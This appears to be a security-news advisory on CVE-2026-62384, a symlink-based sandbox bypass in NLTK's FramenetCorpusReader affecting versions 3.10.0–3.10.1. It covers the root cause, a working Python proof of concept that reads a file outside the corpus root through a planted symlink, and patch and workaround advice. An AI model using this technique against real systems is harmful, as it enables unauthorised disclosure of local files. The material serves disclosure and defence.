Listen to this Post
CVE-2026-62384 is a symlink-based sandbox bypass vulnerability in the NLTK (Natural Language Toolkit) library. It affects the `FramenetCorpusReader` component and allows an attacker to read arbitrary XML files located outside the intended corpus root. This vulnerability is a bypass of the fix for CVE-2026-54292 / GHSA-xh95-f55m-82fw.
The vulnerability stems from insufficient path validation when resolving symbolic links (symlinks) within the corpus subdirectory. The original fix for the previous vulnerability (CVE-2026-54292) added `_reject_unsafe_path_component()` to block path separators like /, \, .., and Windows drive prefixes in user-supplied names. However, this guard does not resolve symlinks.
The three vulnerable methods in `nltk/corpus/reader/framenet.py` — frame_by_name(), _lu_file(), and `doc()` — follow the same unsafe chain:
1. They call `_reject_unsafe_path_component()` on the user-supplied name, which passes if the name contains no path separators.
2. They resolve the path using self.abspath(), which performs a plain lexical join and does not check for symlinks.
3. They open the file using `XMLCorpusView` via `PathPointer.open()` with no `required_root` check.
Because `_reject_unsafe_path_component()` only performs a lexical check, a symlink with a name containing no separators (e.g., “evil_link.xml”) placed inside a corpus subdirectory (e.g., frame/) will pass validation. When the application later resolves this symlink, it follows the link to a file outside the corpus root (e.g., outside_framenet_root/stolen.xml) and reads its contents. No exception is raised, and the sandbox is bypassed.
This is a significant bypass because it evades the fix for the original path traversal vulnerability without using any path separators. The issue affects NLTK versions 3.10.0 through 3.10.1 and is fixed in version 3.10.2.
DailyCVE Form:
Platform: NLTK (Python)
Version: 3.10.0 – 3.10.1
Vulnerability: Symlink Sandbox Bypass
Severity: High (CVSS 7.5)
Date: 2026-08-07
Prediction: 2026-08-22 (Patch 3.10.2)
What Undercode Say:
Analytics of CVE-2026-62384 show a critical sandbox bypass in NLTK’s FramenetCorpusReader. The vulnerability allows attackers to read arbitrary XML files outside the corpus root by placing symlinks with names containing no path separators inside the corpus subdirectory. This flaw affects versions 3.10.0 through 3.10.1 and has been patched in version 3.10.2. The vulnerability was reported by LiteshGhute.
Check NLTK version python -c "import nltk; print(nltk.<strong>version</strong>)" Upgrade to patched version pip install --upgrade nltk==3.10.2
Exploit: (Educational Purposes!)
The following proof of concept demonstrates the vulnerability:
import os
import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader
Setup directories
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)
Create minimal corpus file
with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
f.write("<frameRelations/>")
Create secret file outside corpus root
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write('<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
'<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>'
'</frame>')
Create symlink inside corpus frame directory - no path separators, passes validation
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)
Exploit: read file outside corpus root via symlink
reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"<strong>dummy</strong>": {"name": "<strong>dummy</strong>"}}
result = reader.frame_by_name("evil_link")
print("frame name:", result["name"])
print("definition:", result["definition"])
Output: frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT
Protection:
Immediate: Upgrade NLTK to version 3.10.2 or later.
Workaround: If immediate patching is not possible, restrict write permissions on NLTK corpus subdirectories to prevent unauthorized symlink creation. Restrict `FramenetCorpusReader` access to trusted, immutable corpus content only, and isolate the runtime environment.
Impact:
Successful exploitation allows unauthorized disclosure of XML file contents outside the intended corpus root. The primary security consequence is loss of confidentiality, potentially exposing sensitive local data accessible to the vulnerable process. Integrity and availability impacts are not established as primary outcomes.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
